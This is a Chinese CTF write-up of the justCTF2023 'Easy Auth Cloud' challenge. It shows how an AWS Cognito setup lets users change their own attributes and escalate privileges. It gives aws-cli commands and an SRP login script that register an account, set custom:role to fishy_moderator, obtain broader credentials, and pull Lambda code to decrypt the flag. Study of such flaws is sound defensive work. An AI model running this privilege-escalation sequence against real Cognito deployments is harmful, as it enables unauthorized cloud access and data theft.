扫码领资料
获网安教程
免费&进群
AuthCloud-AWSCognito安全问题
justCTF2023 Easy Auth Cloud题目,有关AWS Cognito认证服务可能存在的安全隐患
TL;DR
这道题目和文章 Hacking AWS Cognito Misconfigurations 思路大致相同,利用Cognito
服务的默认配置和一些错误用法进行权限提升,但是多出几个细节,这里简单归结几点如下:
-
Web应用没有注册和登录功能,前端JavaScript代码简单混淆,能够通过AWS Cognito JavaScript SDK 拿到App Client ID, User Pool ID, Identity Pool ID, and region 信息
-
攻击者首先需要获得Web应用的认证,在修改用户属性后,
Cognito Identity Pool
会基于ABAC(attribute based access control)的方式提供给用户更高权限的AWS Credentials
,之后利用AWS Credentials
获取托管在云上的lambda
代码并解密出flag值
Cognito认证
Cognito
是AWS提供的一项全托管的认证、授权和用户管理服务,通过Cognito
,开发人员可以不用自行编写认证、授权和用户管理的代码,而是通过Cognito
的API来完成这些操作。Cognito
提供两种核心服务,分别为UserPool
和Identity Pool
-
UserPool:UserPool表示一个用户池,用于管理用户的注册、登录、身份验证和密码重置等操作。使用UserPool可以方便地创建和管理用户帐户,用以Web、Mobile APP的身份管理。此外,UserPool还支持社交身份验证,例如Facebook、Google等。
-
Identity Pool:Identity Pool表示身份池,用于管理访问AWS服务的用户身份认证和授权。它与UserPool不同,它可以提供跨不同平台(不同应用程序和设备)的单一登录。身份池为应用程序用户提供了一组临时安全证书,这些证书可用于访问AWS服务。
通过这两种服务,开发人员可以方便地创建、管理和验证用户帐户,并管理应用程序的访问权限和安全性。
题目复现
开局给了个登陆页面,经过简单阅读前端JS代码后发现有对Cognito SDK
的使用,调出前端控制台debug偏移就能够拿到Cognito
信息
后续的所有步骤都需要借助aws-cli
,首先根据clientID
向Cognito
服务注册账号
aws cognito-idp sign-up --client-id "g1l1udtdgp1cu30fogbucvh4d"--region "eu-west-1"--username "hpdoger1"--password "*()Hpdoger123"
紧接着使用注册的账号登陆User Pool
,作者只配置了USER_SRP_AUTH
这种认证方式,我选择用SDK
进行登陆模拟,运行如下登录脚本会打印用户登陆后的各种Token
信息
import axios from'axios'
import{SRPClient, calculateSignature, getNowString }from'amazon-user-pool-srp-client'
function call (action, body){
const request ={
url:'https://cognito-idp.eu-west-1.amazonaws.com',
method:'POST',
headers:{
'Content-Type':'application/x-amz-json-1.1',
'X-Amz-Target': action
},
data: JSON.stringify(body),
transformResponse:(data)=> data
}
return axios(request)
.then((result)=> JSON.parse(result.data))
.catch((error)=>{
const _err = JSON.parse(error.response.data)
const err =newError()
err.code = _err.__type
err.message = _err.message
returnPromise.reject(err)
})
}
function login (email, password){
const userPoolId = process.env.CognitoUserPoolUsers.split('_')[1]
const srp =newSRPClient(userPoolId)
const SRP_A = srp.calculateA()
return call('AWSCognitoIdentityProviderService.InitiateAuth',{
ClientId: process.env.CognitoUserPoolClientWeb,
AuthFlow:'USER_SRP_AUTH',
AuthParameters:{
USERNAME: email,
SRP_A
}
})
.then(({ChallengeName,ChallengeParameters,Session})=>{
const hkdf = srp.getPasswordAuthenticationKey(ChallengeParameters.USER_ID_FOR_SRP, password,ChallengeParameters.SRP_B,ChallengeParameters.SALT)
const dateNow = getNowString()
const signatureString = calculateSignature(hkdf, userPoolId,ChallengeParameters.USER_ID_FOR_SRP,ChallengeParameters.SECRET_BLOCK, dateNow)
return call('AWSCognitoIdentityProviderService.RespondToAuthChallenge',{
ClientId: process.env.CognitoUserPoolClientWeb,
ChallengeName,
ChallengeResponses:{
PASSWORD_CLAIM_SIGNATURE: signatureString,
PASSWORD_CLAIM_SECRET_BLOCK:ChallengeParameters.SECRET_BLOCK,
TIMESTAMP: dateNow,
USERNAME:ChallengeParameters.USER_ID_FOR_SRP
},
Session
})
.then(({AuthenticationResult})=>({ username:ChallengeParameters.USERNAME, credentials:AuthenticationResult}))
})
}
process.env.CognitoUserPoolUsers="eu-west-1_sEBJdM3TJ"
process.env.CognitoUserPoolClientWeb="g1l1udtdgp1cu30fogbucvh4d"
login("hpdoger","*()Hpdoger123").then((resp)=>{console.log(resp)})
这里会同时获得三种状态的Token
,分别为:AccessToken
、IdToken
、RefreshToken
{
username:'hpdoger',
credentials:{
AccessToken:'eyJraW...',
ExpiresIn:3600,
IdToken:'eyJraWQiO...',
RefreshToken:'eyJjd...',
TokenType:'Bearer'
}
}
这三种Token应对场景不同,各司其职:
-
AccessToken:AccessToken用于访问AWS资源的临时令牌,它只有短暂的有效期,通常保留在客户端。当用户通过认证成功之后,Cognito返回一个AccessToken,客户端在访问AWS资源的时候需要携带该AccessToken来证明自己的身份和权限。
-
IdToken:IdToken是用于验证用户身份的令牌,通常在用户登录后进行访问。例如,当用户通过Cognito认证之后,服务器返回一个IdToken,客户端可以用来确认用户是谁,以及他们的权限。
-
RefreshToken: Refresh Token是用于获取新的AccessToken和IdToken的令牌。当一个AccessToken到期时,客户端可以使用一个Refresh Token来获取一个新的AccessToken,而无需再次进行身份认证。Refresh Token通常仅在安全凭据存储中保留。
再引用一段描述区分AccessToken
与AWS Temporary Credentials
的异同
当用户通过Cognito进行认证后,Cognito会向用户发送一个AccessToken和一个IdToken,其中IdToken可以用于向AWS获取AWS临时证书(AWS Temporary Credentials)。
Access Token和AWS Temporary Credentials都是AWS Cognito中扮演身份认证的不同形式,但是它们之间有一些重要的区别:Access Token通常是无状态的,并且它存储的是经过加密的用户信息,允许用户访问受保护的资源,比如API Gateway;比较而言,Temporary Credentials是一种AWS IAM中生成的安全凭证,允许用户访问AWS中的资源,比如S3、EC2、lamada等。
简而言之,如果想要获得AWS云上的资源,就需要一份AWS Temporary Credentials
。Cognito
服务也是做这件事的,它可以让Identity Pool
授权我们的AccessToken
来生成AWS Credentials
(包含AccessKeyId、SecrectKey、SecrectSession)
aws cognito-identity get-credentials-for-identity --identity-id YOUR_IDENTITY_ID --logins '{"YOUR_PROVIDER_NAME":"YOUR_PROVIDER_TOKEN"}'
其中YOUR_IDENTITY_ID
为前端JS泄漏的identity-id
;YOUR_PROVIDER_NAME
可以根据region
与user-pool-id
拼接而来,且YOUR_PROVIDER_NAME
的格式固定:cognito-idp.<region>.amazonaws.com/<user-pool-id>
;YOUR_PROVIDER_TOKEN
为UserPool
登陆后返回的IdToken
,那么对于这道题目来说运行的示例如下
aws cognito-identity get-credentials-for-identity
--identity-id "eu-west-1:d19dc8bc-277b-4674-a022-cb844f96d1f3"
--logins "cognito-idp.eu-west-1.amazonaws.com/eu-west-1_sEBJdM3TJ=eyJraW..."
得到的返回信息即为AWS Credentials
,使用export
将AWS Credentials
引入环境变量后即可使用aws-cli
访问AWS云上资源
export AWS_ACCESS_KEY_ID=ASIA6NYM5FVFAT442IEG
export AWS_SECRET_ACCESS_KEY=vCZKCemBP/NO65IQC0I9GO/V5c3gLkUiWpy2b1XO
export AWS_SESSION_TOKEN=IQoJb3JpZ....
但很可惜的是当前AWS Credentials
对于存储桶的权限非常低,只能读到fake_flag文件,于是我决定对当前的Credentials
枚举更多可用的权限。利用枚举探测的脚本:https://github.com/securisec/cliam ,发现当前Credentials
能做的事情比较少,只能list部分s3 bucket
云上的部分暂且到这儿,再将思路拉回到Web题目本身,Index首页可以看到这样一句话
这或许暗示需要通过登陆获得进一步的提示信息,而整个Web Application
并没有开放注册或登录的接口。但在第二步中,AWS用户凭证生成的三个Token中还包含了AccessToken
,也是在搜索了相关用法后,发现有这样一篇文章:cognito-pentest。大概讲的就是,在基于AWS开发的业务中,通常会将AccessToken
作为Web Application
的用户态JWT
使用
在请求Web Application
时只需要携带Authorization
头,内容为AccessToken
,AWS WebGateway
会根据此状态判别用户是否登录。于是当我们携带正确的AccessToken
访问/home
路由后,题目给出了新的提示:only role xxx can get access
同时/flag
路径下面给了一段AES加密的字符串,意味着题目到这里还没有结束。在复盘时我想,这一步作者想考察的点在于,攻击者需要对当前的用户身份设置role
,并且role
为fishy_moderator
的用户将在IdentityPool
认证后拥有不一样的权限。
那么这个role意味着什么呢?先按照题目思路做下去,由于AWS默认开放了Own User Attribute Read/Write权限,并且User Pool providers内置了一些属性比如name
、email
、phone_number
等,用户可以通过update-user-attributes
更新用户属性。
aws cognito-idp update-user-attributes --access-token "eyJraw..."--user-attributes '[{"Name":"custom:role","Value":"fishy_moderator"}]'
更新完属性后,重新登陆刷新Token,就可以借助get-user验证刚刚设置的用户属性:aws cognito-idp get-user --access-token “ey..”
再次重复IdentityPool
授权的步骤,拿到新的AWS Credentials
,发现此时的Credentials
具有lambda list
的权限。
到这里,也是整个场景产生漏洞的原因:在AWS注册用户sign-up
时默认会指定一个default Role,这个Role就作为用户属性(Attribute)存在,而IdentityPool
认证后颁布的AWS Credentials
是基于User ABAC(attribute-based access control)的,于是在前文中IdentityPool后拿到的AWS Credentials
就非常有限,相当于Default Role仅能list s3 bucket。但是AWS Cognito默认允许用户修改Own User Attribute,那么攻击者就可以为自己设置新的Role,此时IdentityPool
认证后的AWS Credentials
就具有了新的权限—list lambda functions
这种攻击面也不是第一次出现,在文章:https://www.truesec.com/hub/blog/aws-cognito-token-security-one-step-closer 中,作者利用Owner User Attribute Update操作,更改了自己的用户身份,从而产生一系列越权漏洞。
再回到题目,利用新的AWS Credentials
列出lambda functions
,能够发现计算flag
的lambda
函数
aws lambda list-functions --profile jctf --region eu-west-1
再通过get-function
获得FlagLambda
代码所在位置:
aws lambdaget-function--function-name FlagLambda--query 'Code.Location'--profile jctf --region eu-west-1
凭借相同的方式,在多个lambda
代码获得AES加密flag的key
+ nonce
,结合前文/flag路由获取到的flag密文从而解码出flag值,题目到这里也就结束了。
总结
总的来说,漏洞的核心在于作者配置了Cognito Identity Pool认证时采用ABAC的方式,且ABAC的部分值又由用户可控,信任空间没有把握好。
来源:https://hpdoger.cn/2023/06/05/title: justCTF2023-AWS Cognito认证服务的安全隐患/
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):justCTF2023-AWS Cognito认证服务的安全隐患
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论